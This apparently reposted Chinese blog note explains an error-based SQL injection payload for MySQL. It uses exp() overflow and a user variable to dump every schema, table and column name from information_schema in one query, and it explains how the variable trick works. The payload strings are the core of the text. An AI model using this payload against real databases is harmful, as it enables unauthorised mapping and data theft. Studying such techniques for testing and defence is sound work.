zoukankan      html  css  js  c++  java
  • Sql注入一种dump所有数据的方法

    Select exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x));

    explain:此处主要是展示一个exp报错注入的方法。但是此文中主要是学习另类的方式将tablescolumns一起dump出来,属于偶尔在老外的论坛上看见,感觉这个sql语句写的很精妙,可以直接用下面的语句输出:

    select * from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@))

    explain:此处将@作为一个变量,@:=0,将@等于0,换为其他的字符测试不行,比如#$等字符不可以。

         database()函数列出当前的数据库名

         select concat(@:=0,@);   输出结果为00

         table_schema,table_name,column_name能够输出源于前面定位到table_schema位置

         

    微信公众号:埋头干安全 目前主要精力放在微信公众号!!!
  • 相关阅读:
    文本查询程序再探
    第15章 面向对象程序设计
    错误和异常处理 使用模板
    PHP会话管理
    身份验证
    表单提交与接收 文件提交与接收
    PHP文件访问
    PHP面向对象
    PHP速学
    第14章 重载运算与类型转换
  • 原文地址:https://www.cnblogs.com/lcamry/p/5506056.html
Copyright © 2011-2022 走看看